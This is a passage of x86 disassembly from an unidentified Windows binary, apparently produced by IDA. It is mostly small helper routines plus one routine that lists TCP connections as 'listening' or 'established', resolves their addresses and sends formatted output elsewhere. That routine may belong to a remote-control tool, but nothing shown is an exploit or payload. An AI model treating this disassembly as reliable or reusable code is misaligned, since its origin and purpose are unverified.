		add	esp, 4
		retn
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C6A


loc_418C28:				; CODE XREF: sub_418C10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D1A


loc_418CD8:				; CODE XREF: sub_418CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D65
		mov	edi, esi


loc_418D65:				; CODE XREF: ___:00418D61j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D7A
		mov	edi, esi


loc_418D7A:				; CODE XREF: ___:00418D76j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418DA0	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418DA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E20	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E50	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F90	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419070	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419070	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190A0	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4190A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419130	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419150	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191B0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F074
		call	sub_437AEA
sub_4191B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41921D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41921D:				; CODE XREF: ___:004191FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419270	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_419270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_419270	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4192BE
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4192BE:				; CODE XREF: ___:004192A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419320	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_419320	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4193C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419766
		push	ebp
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		xor	ebp, ebp
		push	offset dword_444D70
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_41946F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419489
; ---------------------------------------------------------------------------


loc_41946F:				; CODE XREF: sub_4193C0+A3j
		push	offset dword_444D6C
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_419489
		mov	[esp+2B4h+var_2A0], 1


loc_419489:				; CODE XREF: sub_4193C0+ADj
					; sub_4193C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D60
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419518
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D60
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419518
		mov	ecx, [ebx+32h]
		push	offset off_444D5C
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41974C


loc_419518:				; CODE XREF: sub_4193C0+123j
					; sub_4193C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419742
		lea	ebp, [esi+14h]


loc_419554:				; CODE XREF: sub_4193C0+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419568
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41972C


loc_419568:				; CODE XREF: sub_4193C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4195CC
		sub	eax, 3
		jnz	short loc_4195F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4195D5
; ---------------------------------------------------------------------------


loc_4195CC:				; CODE XREF: sub_4193C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4195D5:				; CODE XREF: sub_4193C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195F2:				; CODE XREF: sub_4193C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419618
		xor	ebx, ebx


loc_419618:				; CODE XREF: sub_4193C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4196AE
		cmp	eax, 1
		jz	loc_419713
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4196A1
		cmp	eax, esi
		jnz	short loc_419713


loc_4196A1:				; CODE XREF: sub_4193C0+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------


loc_4196AE:				; CODE XREF: sub_4193C0+2C7j
		cmp	eax, 2
		jz	short loc_419713
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4196C2
		cmp	eax, edi
		jnz	short loc_419713


loc_4196C2:				; CODE XREF: sub_4193C0+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4196D4:				; CODE XREF: sub_4193C0+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_419713:				; CODE XREF: sub_4193C0+2CCj
					; sub_4193C0+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41972C:				; CODE XREF: sub_4193C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419554


loc_419742:				; CODE XREF: sub_4193C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41974C:				; CODE XREF: sub_4193C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419768
; ---------------------------------------------------------------------------


loc_419766:				; CODE XREF: sub_4193C0+3Dj
		mov	al, 1


loc_419768:				; CODE XREF: sub_4193C0+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4193C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		call	near ptr 77C3FA76h
		nop
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419950
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41991E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41991E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419950
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41991E:				; CODE XREF: sub_419890+5Aj
					; sub_419890+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		call	near ptr 71AB50C8h
		nop
		test	eax, eax
		pop	edi
		jnz	short loc_419950
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch


loc_419950:				; CODE XREF: sub_419890+52j
					; sub_419890+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		nop
		call	near ptr 2800BE7h
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
